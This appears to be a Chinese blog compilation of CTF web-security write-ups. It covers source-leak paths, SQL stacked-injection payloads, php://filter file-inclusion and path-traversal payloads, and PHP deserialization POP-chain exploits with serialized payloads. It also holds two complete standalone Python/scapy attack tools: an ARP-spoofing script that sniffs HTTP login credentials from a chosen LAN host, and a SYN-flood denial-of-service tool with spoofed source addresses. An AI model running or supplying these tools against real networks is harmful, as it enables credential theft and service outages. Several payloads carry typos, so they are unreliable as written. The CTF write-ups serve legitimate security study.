2021红帽杯find_it

文件泄露

git源码泄露

原理:在git init初始化目录时,会生成一个.git目录来记录代码修改情况,如果在上传时没有将.git目录删除的话,就会造成源码泄露

可以利用的漏洞工具:GitHack
一般使用方法为:

1
/.git/index.php

SVN源码泄露

原理:在用SVN管理本地代码时会生成一个.svn隐藏文件夹,其中有重要的源码信息,如果在发布代码的时候直接复制代码,而没有导出代码的话,就会将源码暴露在外网的环境中,可以利用.svn/entries或/.svn来获取

可以利用的漏洞工具:Seay SVN漏洞利用工具

hg源码泄露

原理:Mercurial是一种轻量级分部版本控制系统,在使用hg init初始化代码时会生成.hg

漏洞利用工具:dvcs-ripper

CVS泄露

原理:CVS是一个C/S系统,多个开发人员通过一个中心版本控制系统来记录文件版本,从而达到文件同步的目的。

可以利用:

1
2
3
4
/CVS/Root    返回根信息

/CVS/Entries 返回所有文件的结构

漏洞利用工具:dvcs-ripper

Bazaar/bzr泄露

原理:bzr是一个版本控制工具,可以利用/.bzr/造成源码泄露

网站备份压缩文件

原理:管理员将网站源代码备份在web目录下

常见的备份文件后缀:

1
2
3
4
5
6
7
8
.rar
.zip
.7z
.tar.gz
.bak
.txt
.old
.temp

漏洞利用工具:御剑、diramp、dirsearch

WEB-INF/web.xml泄露

原理:WEB-INF是java的web应用的安全目录,如果想在页面直接访问文件,需要通过web.xml文件查找访问文件的映射关系

WEB-INF主要包含文件或目录

1
2
3
4
5
6
7
8
9
10
WEB-INF/web.xml:web应用程序配置文件,描述了servlet和其他的应用组件配置及命名规则

WEB-INF/database.propertise:数据库配置文件

WEB-INF/classes/:一般用来存放在java类文件

WEB-INF/lib/:用来存放打包好的库

WEB-INF/src/:用来放源码(.asp和.php等)

DS_Store文件泄露

原理:.DS_Store是mac下的finder用来保存展示文件或文件夹的数据文件,每个文件夹下对应一个。如果将DS_Store部署到服务器中,就会造成文件泄露,特别是备份文件、源码文件

swp文件泄露

原理:此泄露为vim缓存信息泄露,swp文件是在编辑文件时自动生成的临时文件,当正常退出文件时,临时文件会被删除,但当不正常退出时会保存,利用/.filename.swp,swp文件也可能以swo形式,为.filename.swo

例子:

1
index.php.swp

Github源码

原理:很多人将源码放在托管平台托管,所以通过搜索关键字就可以下载网站源码

phps源码泄露

构造payload为index.phps,即可得到源码

数据库文件泄露

原理:数据库外泄是指数据库文件泄露,比如asp+access框架的数据库文件的泄露,此文件为mdb类型的文件,而SQLite数据库的文件泄露的文件类型是.db,而数据库系统会将数据保存在它们格式的文件中,而数据库文件又在web目录之下,因此可以通过下载数据库来获取数据,以asp+access框架的数据库为例:

1
2
1.某些CMS的目录下存在/data/data.mdb文件,如:ctfshow中的web信息搜集的web20,构造url/db/db.mdb,即可下载,然后用记事本打开
2.ewebeditor后台GETSHELL,下载eweb的数据库就是关键一步

实例

一开始先用dirsearch扫描,发现有robots.txtx文件,然后访问发现1ndexx.php,但是当我们构造/1ndexx.php,发现页面没东西,我们可以猜想是不是源码泄露,通过尝试,发现时swp文件泄露,因此构造/1ndexx.php.swp,可以得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php $link = mysql_connect('localhost', 'root'); ?>
<html>
<head>
<title>Hello worldd!</title>
<style>
body {
background-color: white;
text-align: center;
padding: 50px;
font-family: "Open Sans","Helvetica Neue",Helvetica,Arial,sans-serif;
}

#logo {
margin-bottom: 40px;
}
</style>
</head>
<body>
<img id="logo" src="logo.png" />
<h1><?php echo "Hello My freind!"; ?></h1>
<?php if($link) { ?>
<h2>I Can't view my php files?!</h2>
<?php } else { ?>
<h2>MySQL Server version: <?php echo mysql_get_server_info(); ?></h2>
<?php } ?>
</body>
</html>
<?php

#Really easy...

$file=fopen("flag.php","r") or die("Unable 2 open!"); //如果打开flag.php文件阅读,文件不在的话会显示权限不够

$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));


$hack=fopen("hack.php","w") or die("Unable 2 open");

$a=$_GET['code'];

if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
die("you die");
}
if(strlen($a)>33){
die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);

fclose($file);
fclose($hack);
?>

本来打算绕过正则,但是构造:/index.php?code=
就可以在phpinfo()中的全局变量中找到flag

2019年强网杯随便注入(堆叠注入)

2019年强网杯随便注入(堆叠注入实例)

堆叠注入

分号(;)在sql数据库中代表一句sql语句的结束,而如果在sql语句结束的后面在构造一条sql语句的话,会不会被执行呢?答案是肯定的。
因此,堆叠注入就是用分号作为每句sql语句的分隔,然后不断地在payload里构造sql语句。而联合注入(union select)与堆叠注入
的区别在于联合语句(union select)构造的sql语句是有限的,可以用来查询语句,而堆叠注入可以构造多条任意的sql语句。

缺点:堆叠注入第二个语句发生错误的话,由于 web系统中执行代码通常只会回显查询结果,所以我们在前端无法看到错误的结果的,
所以读取数据,最好用联合注入

用法:

启用phpstudy的mysql的命令

1
mysql -u root -p

新建表

1
create table test like users //新建test这个数据表

删除表

1
drop table test //删除test这个数据表

查询数据

1
select 1,2,3

加载文件/读取文件

1
select load_file('c:/tmpupbbn.php) //读取c盘下的tmpupbbn.php文件

修改数据

1
2
3
insert into users(id,username,password) values('100','new','new') //在users表的列中添加id=100,username=new,password=new的数据

updata test set name='test' where id=3 //更新test表,将id=3的name字段改为test

sqlserver中最为重要的存储过程的执行

1
exec master..xp_cmdshell 'ipconfig' //执行master的存储过程,将命令字符串ipconfig,以系统命令shell的形式执行,并以文本的方式显示

修改表的名字

1
rename table test to users //将test表的名字改为users

修改表中列的名字

1
alter table test change flag data varchar(100) //进入test表,将列flag的名字改为data

添加表中的列

1
alter table test add id int unsigned not null auto_increment primary key //进入test表,添加id这个列并自动赋值,auto_increment是自动赋值

###mysql数据库中的handler语句

创建一个表

1
creat table handler_table(int id,name varchar(10)) //创建一个handle_table表,表里有id和name两个列

表中依次插入数据

1
insert into handler_table values(3,'张三') //在handle_table表中插入数据:id=3,name='张三'

打开一个表的句柄

1
handler test open as a //打开一个test表的句柄,并命名为a

不通过索引值看表,最后一行再用nest的话,回显示空格

1
2
3
handler test read first //查看test表中的第一行
handler test read nest //查看test表中的下一行

通过索引值查看表

1
2
3
4
5
6
7
8
9
10
11
creat index handler_index on handler_table(id) //将handle_table表中的id字段创建索引,并命名为handle_index

handler handler_table open as p //打开handle_table表中的句柄,并命名为p

handler handler_table read handler_index first //获取handle_table表中第一行的数据,此时handle_index=(1),也可以写成:handle handle_table read handle_index=(1)

handler handler_table read handler_index next //获取handle_table表中的下一行数据

handler handler_table read handler_index prev //获取handle_table表中的上一行数据

handler handle_table read handler_index last //获取handle_table表中的最后一行数据

关闭handle_table表的句柄

1
handler handler_table close

实例

不断尝试各种闭合字符,发现当添加单引号的时候,发生报错,通过报错可以知道是单引号闭合
强网2019随便注1

然后尝试?inject=1’union select @@version时,发现有正则过滤
强网2019随便注2

因此我们可以想到堆叠注入,输入?inject=1’;show databases;–+
强网2019随便注3

然后我们再输入?inject=1’;show tables;–+,可以看到有两张表
强网2019随便注4

我们再输入?inject=1’;show columns from 1919810931114514;show columns from words;–+,看到1919810931114514表中有flag
强网2019随便注5

有三种解法

第一种:由于输入1查询时,数据库会自动调用words这张表,所以可以将1919810931114514这张表改为words,将words这张表改为其它名字,
然后再添加id这个列,并将flag改为data即可

构造payload

1
2
?inject=1';rename table words to words1;rename table `1919810931114514` to words;alter table words add id  int unsigned not null auto_increment primary key;alter 
table words change flag data varcgae(100);--+

第二种解法:
利用handler语句

构造payload

1
?inject=1';handler `1919810931114514` open;handler `1919810931114514` read next;handler `1919810931114514` close;--+

第三种解法

将select语句进行16进制编码,绕过正则过滤。
可以使用prepare…from…预处理语句,会进行编码转换
然后用execute来执行由sqlprepare创建的sql语句
SET只能对后面的变量进行一次赋值

可以构造:?inject=1’;SET@a=……………………….;prepare execsql from @a;execute execsql;–+

最后可以得到flag

ACTF2020 新生赛(Include文件包含)

include函数的文件包含

include函数

include函数是包含并运行指定的文件,如果有看到?file=,则一般要先想到include函数的文件包含,而且一般和伪协议一起使用

##实例
看到?file=,且题目提示include函数,因此可以想到文件包含和伪协议的联合使用

因此可以构造payload:

1
?file=php://filter/read=conver.base64-encode/resource=flag.php

![ACTF2020 新生赛1](https://github.com/xiaocheng10/xiaocheng10.github.io/blob/master/image/ACTF2020 新生赛1.jpg)

可以看到出现base64编码的数,然后进行解码即可得到flag

![ACTF2020 新生赛2](https://github.com/xiaocheng10/xiaocheng10.github.io/blob/master/image/ACTF2020 新生赛2.jpg)

![ACTF2020 新生赛3](https://github.com/xiaocheng10/xiaocheng10.github.io/blob/master/image/ACTF2020 新生赛3.jpg)

HCTF 2018 WarmUp

WarmUp

通过查看页面源码可以看见source.php文件的提示
htcf1

通过构造/source.php获取源码,并又得到一个文件名hint.php,然后通过构造/hint.php获取一个页面,可见flag在ffffllllaaaagggg文件中
hctf2

然后审计代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
 <?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; #创建白名单
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
} #判断$page是否为空,若为不为空,则是false

if (in_array($page, $whitelist)) {
return true;
} #查看白名单中是否有$page变量里的东西,有则是true

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
); #截取问号前的字符串,给$_page
if (in_array($_page, $whitelist)) {
return true;
}#查看白名单中是否有$_page变量里的东西,有则是true

$_page = urldecode($page); #对$page进行url解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);#截取$_page中问好前的东西,在赋给$_page
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
} #查看白名单中是否有$_page变量里的东西,有则是true
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
)#判断输入变量是否为空,将其转换为字符串,调用类emmm的方法checkFile()方法是否返回true
{
include $_REQUEST['file']; #运行目录下的文件
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

通过上面的代码审计,可以构造payload

1
?file=hint.php/../../../../ffffllllaaaagggg

最后得到
hctf3

注意:../是跳转到上级目录的意思

ARP欺骗

ARP欺骗

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import time
import re
import os
from scapy.all import *
from threading import Thread

#定义变量函数
wifi = 'Intel(R) Dual Band Wireless-AC 7265'
rtable = os.popen('route print').read()
#print(rtable)
#注意将列表转为字符串
getway = re.findall(r'0\.0\.0\.0\s+0\.0\.0\.0\s+(\S+)\s',rtable)[0]
#print(getway)

#局域网扫描
def scan():

#SR()函数用来来发送数据包和接收响应,他会返回两个列表数据,一个是answer list 另一个是unanswered list
#公式:pack=Ether(src=攻击者MAC地址,dst=目标MAC地址)/ARP(hwsrc=攻击者MAC地址,psrc=要假装谁就是谁的IP地址,hwdst=目标MAC地址,pdst=目标IP地址,op=2)
ans,unans = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=getway+'/24'),timeout=1)
print('一共扫描到%d个主机:'%len(ans))
for i in ans:
print(i)

#找用户名和密码
def paw(p):
try:
if p.haslayer(Raw):
ss=p.load.decode()
result=re.findall(r'userName=(.+)&passWord=(.+)',ss)
if result:
print('user:',result[0][0])
print('pass:',result[0][1])
except:
pass

#抓包
def capture(tip,tcap):
#冒充自己为网关
pkts=sniff(iface=wifi,timeout=tcap,filter='tcp port 80 and src host %s'%tip,prn=paw)

#arp欺骗攻击
def arpspoof(tip,tcap):
t = Thread(target=capture,args=(tip,tcap))
t.start()
for i in range(tcap*5):
sendp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=target,psrc=getway))
time.sleep(0.2)



if __name__ == '__main__':
scan()
target = input('输入要攻击的ip地址:').strip()
tl = int(input('输入要准备攻击的时间:').strip())
arpspoof(target,tl)
print('攻击结束!')

SYN洪泛攻击

SYN洪泛攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from scapy.all import *
import random


# 生成随机的IP
def randomIP():
ip = ".".join(map(str, (random.randint(0, 255) for i in range(4))))
return ip


# 生成随机端口
def randomPort():
port = random.randint(1000, 10000)
return port


# syn-flood
def synFlood(count, dstIP, dstPort):
total = 0
print("Packets are sending ...")
for i in range(count):
# IPlayer
srcIP = randomIP()
dstIP = dstIP
IPlayer = IP(src=srcIP, dst=dstIP)
# TCPlayer
srcPort = randomPort()
TCPlayer = TCP(sport=srcPort, dport=dstPort, flags="S")
# 发送包
packet = IPlayer / TCPlayer
send(packet)
total += 1
print("Total packets sent: %i" % total)


# 显示的信息
def info():
print("#" * 30)
print("# Welcome to SYN Flood Tool #")
print("#" * 30)
# 输入目标IP和端口
dstIP = input("Target IP : ")
dstPort = int(input("Target Port : "))
return dstIP, dstPort


if __name__ == '__main__':
dstIP, dstPort = info()
count = int(input("Please input the number of packets:"))
synFlood(count, dstIP, dstPort)

PHP反序列化之pop链查找

php反序列化之POP链

魔术方法

列举:
__wakeup() //使用反序列函数unserialize()时触发

__sleep() //使用serialize时触发

__destruct() //对象销毁时触发

__construct() //用于创建对象,当实例化对象时被触发

__call() //在对象上下文中调用不可访问的方法时触发

__callStatic() //在静态上下文中调用不可访问的方法时触发

__get() //用于从不可访问的属性读取数据

__set() //用于将数据写入不可访问属性

__isset() //在不可访问的属性上调用isset()或empty()触发

__unset() //在不可访问的属性上使用unset()时触发

__toString() //把类当作字符串使用时触发

__invoke() //脚本尝试将对像调用为函数时触发

审计代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php
//flag is in flag.php
error_reporting(1);
class Read {
public $var;

/*Read类的一个函数*/
public function file_get($value)
{
$text = base64_encode(file_get_contents($value)); #将文件的内容以字符串的形式读取出来,并进行base64的加密
return $text;
}

/*当以函数的方法调用一个Read类实例时,会先调用__invoke方法*/
public function __invoke(){
$content = $this->file_get($this->var); #将被base64加密的文件的内容赋值给$comtent
echo $content;
}
}

class Show{
public $source;
public $str;

/*当初始化一个Show实例的时候,默认他的file属性为index.php*/
public function __consturct($file='index.php'){
$this->source = $file; #将index.php赋值给$this->source
echo $this->source."Welcome"."<br>"; #显示index.php Welcomee
}

/*当一个Show的类实例被当作一个字符串使用时,会。。。。*/
public function __toString(){
return $this->str['str']->source;//注意这里,很奇怪。调用了一个从来没有的类属性,
//所以会调用get方法。而同时正常到$this->str['str']就返回了键值了,但是它后面又有一个取属性的操作。
//所以想$this->str['str']本身就是一个有source属性的一个类的实例
}

/*这应该不是一个内置的魔术方法,,,*/
public function _show(){
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)){
die('hacker');
}
else{
highlight_file($this->source);
}
}

/*当对一个Show实例进行反序列化之前调用*/
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i",$this->source)){
echo "hacker";
$this->source="index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

/*在获取一个Test的类成员的时候调用:$a->bbb*/
public function __get($key){
$function = $this->p;
return $function();
}
}


if(isset($_GET['hello']))
{
unserialize($_GET['hello']);
}
else
{
$show = new Show('pop1.php');
$show->_show();
}
highlight_file(__FILE__);
?>

在输入hello这个变量后,调用unserialize()反序列化函数之前,先调用__wakeup()函数

1
2
3
4
5
6
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i",$this->source)){
echo "hacker";
$this->source="index.php";
}
}

里面有preg_match正则匹配函数,将一个类实例化的source属性,也是另一个类的对象实例化,以字符串的形式进行遍历匹配,从而触发__toString()函数

1
2
3
4
5
6
public function __toString(){
return $this->str['str']->source;//注意这里,很奇怪。调用了一个从来没有的类属性,
//所以会调用get方法。而同时正常到$this->str['str']就返回了键值了,但是它后面又有一个取属性的操作。
//所以想$this->str['str']本身就是一个有source属性的一个类的实例
}

方法查找到了str[]这个数组,而数组里的str是一个key键,而value值代表的是source,而str[‘str’]需要是一个类的实例化,但是这个属性在show类中却不存在,且return访问里面的数值并返回,所以触发__get()函数

1
2
3
4
public function __get($key){
$function = $this->p;
return $function();
}

而p为一个类的对象实例化的p属性,且将属性取出来,并给$function,然后用函数的方式执行,触发__invoke()函数

1
2
3
4
public function __invoke(){
$content = $this->file_get($this->var); #将被base64加密的文件的内容赋值给$comtent
echo $content;
}

而__invoke()函数中调用了file_get()函数

1
2
3
4
5
public function file_get($value)
{
$text = base64_encode(file_get_contents($value)); #将文件的内容以字符串的形式读取出来,并进行base64的加密
return $text;
}

然后给read类下的对象实例化的属性var赋值一个flag.php

构造一个exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

class Read{

public $var;
}

class Show{

public $source;
public $str;

}

class Test{

public $p;
}

$a=new Read();
$b=new Show();
$c=new Test();

$b->source=$b;
$b->str['str']=$c;
$c->p=$a;
$a->var='flag.php';

echo serialize($a);

?>

得到一个序列化的数值,然后构造payload

__destruct()魔术方法的特性

当输入的序列化对象出错时,将直接调用__destruct()魔术方法对序列化对象进行销毁

实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

error_reporting(0);

class superGate{
public $gay = true;

function __destruct(){
echo file_get_contents("/flag");
die();
}
}

$p = $_GET['p'];
$honey = unserialize($p);
if(preg_match("/superGate/i", serialize($honey))){
echo "no";
throw Exception();
}

show_source(__FILE__);

构造pop链

1
2
3
4
5
6
7
8
9
10
<?php

class superGate{
public $gay;
}

$a=new superGate();
$a->gay="false";
echo serialize($a);
?>

得到序列化对象,然后只要减少一个中括号或者让序列化对象报错即可直接调用__destruct()魔术方法对序列化对象进行销毁,构造payload

1
?p=O:9:"superGate":1:{s:3:"gay";s:5:"flase";

即可得到flag

ZJCTF 2019-WEB-NiZhuanSiWei

ZJCTF 2019]NiZhuanSiWei

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")) #判断$text是否为空以及文件里的内容是否为welcome to the zjctf
{
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";

if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
} #如果$file的文件名有flag,则显示Not now并退出程序

else{
include($file); //useless.php #包含并执行文件里的内容
$password = unserialize($password); #对$password进行反序列化
echo $password; #显示$password的内容
}

}

else{
highlight_file(__FILE__);
}
?>

看到file_get_contents()和include()两个文件包含函数,我们可以想到是不是可以使用data伪协议。通过判断第一个if,我们可以知道我们要经过file_get_contents()函数,此时
我们可以使用data协议导入内容,从而经过第一个if

1
?text=data://text/plain,welcome to the zjctf

然后我们看到有一个include()函数,同时,我们还能看到一个提示useless.php。此时,我们可以通过php伪协议来对useless.php文件进行读取,

1
?file=php://filter/read=convert.base64-encode/resource=useless.php

我们可以读取到用base64加密的useless.php的内容

1
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

通过base64解密,我们可以得到一段php代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

通过这段php代码,我们可以构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php  

class Flag{ //flag.php
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
echo serialize($a);
?>

我们将显示结果赋值于$password=O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}

然后我们构造最后的payload

1
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

然后查看页面源代码,我们可以找到flag

php反序列化之原生类

php反序列化之原生类

SLP类存在可以进行文件处理和迭代的类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Directorylterator                                遍历目录

Filesystemlterator 遍历目录

Globlterator 遍历目录,但是不同点在于它可以通配,例如var/html/www/flag*

SplFileObject 读取文件,按行读取,多行需要遍历

finfo/finfo_open() 需要两个参数

reflectionMethod($class,$function) 返回类和方法

getDocComment() 返回reflectionMethod的值

例如:安恒月赛DASCTF三月娱乐赛(ez_serialize)

审计源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php 

error_reporting(0);

highlight_file(__FILE__);

class A{
public $class;
public $para;
public $check;
public function __construct() {
$this->class = "B";
$this->para = "ctfer";
echo new $this->class ($this->para);
}
public function __wakeup() {
$this->check = new C;
if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {


echo new $this->class ($this->para);
}
else die('bad hacker~');
}
}
class B{
var $a;
public function __construct($a) {
$this->a = $a;
echo ("hello ".$this->a);
}
}
class C{
function vaild($code){
$pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
if (preg_match($pattern, $code)){
return false;
}
else return true;
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
else{
$a=new A;
} hello ctfer

可以构造exp’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

class A{
public $class='Filesystemlterator';
public $para="var/www/html";
public $check;
}

$b=new A();

echo serialize($b);

?>

得到序列化的数值后,构造payload

得到aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE文件名

然后在构造exp读取里面的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class A{
public $class='SplFileObject ';
public $para="var/www/html/aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php";
public $check;
}

$b=new A();

echo serialize($b);

?>

然后看页面源代码,看见flag

nuctf[just serialize]内置类和php引用

内置类stdClass的使用及php引用及unserialize的特性

内置类stdClass

stdClass类是php的内置类,是所有php类都继承这个类,所以stdClass类随时都可以被new,但是stdClass类里面没有方法。

代码例子

1
2
3
4
5
6
<?php

$a=new stdClass();
$a->name="xc";
echo (serialize($a));
?>

注意的是当stdClass内置类反序列化时,由于stdClass内置类不能用echo来返回字符串,所以需要用print_r或var_dump()输出数组的形式才可以反序列化成功

php引用

在序列化中添加一个类的属性为

1
s:1:"f";R:2;

f这个变量可以继承前面属性的值,输入O:8:”stdClass”:2:{s:4:”flag”;S:4:”flag”;s:1:”f”;R:2;},例子:

1
2
3
4
5
6
<?php

$obj=$_GET['obj'];
$obj=unserialize($obj);
print_r($obj);
?>

从输出结果可以看出f变量继承了前面第一个类的属性flag的值,而如果想继承前面第二个类的属性的值,则将R:2;改为R:3;即可,以此类推

unserialize的一个特性

如果反序列化中的类中的代表字符串的s符号改为大写的字符S的话,就可以识别十六进制的内容,例子:

1
2
3
4
5
6
7
8
9
10
11
<?php
$obj=$_GET['obj'];
if(preg_match('/flag/i',$obj)){

echo "你错了";
}
else{
echo "你爱我";
print_r(unserialize($obj));
}
?>

此时可以通过用\66\6c\61\67代替flag进行绕过

nuctf中的just serialzie实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
include 'flag.php';
$obj=$_GET['obj'];
if(preg_match('/flag/i',$obj)){
die("?");
}
$obj=@unserialize($obj);
if($obj->flag==="flag"){
$obj->flag=$flag;
}
foreach($obj as $k=>$v){
if($k!="flag"){
echo $v;
}
}

可以通过使用stdClass内置类构造paylaod,且在flag属性上,将s改为大写S,从而使用十六进制对preg_match()正则过滤进行绕过,由于

1
2
3
4
5
foreach($obj as $k=>$v){
if($k!="flag"){
echo $v;
}
}

对类中的flag属性进行过滤,所以需要用到php引用来绕过,因此可以构造s:1:”f”;R:2;来继承flag属性的值,从而让代码echo出来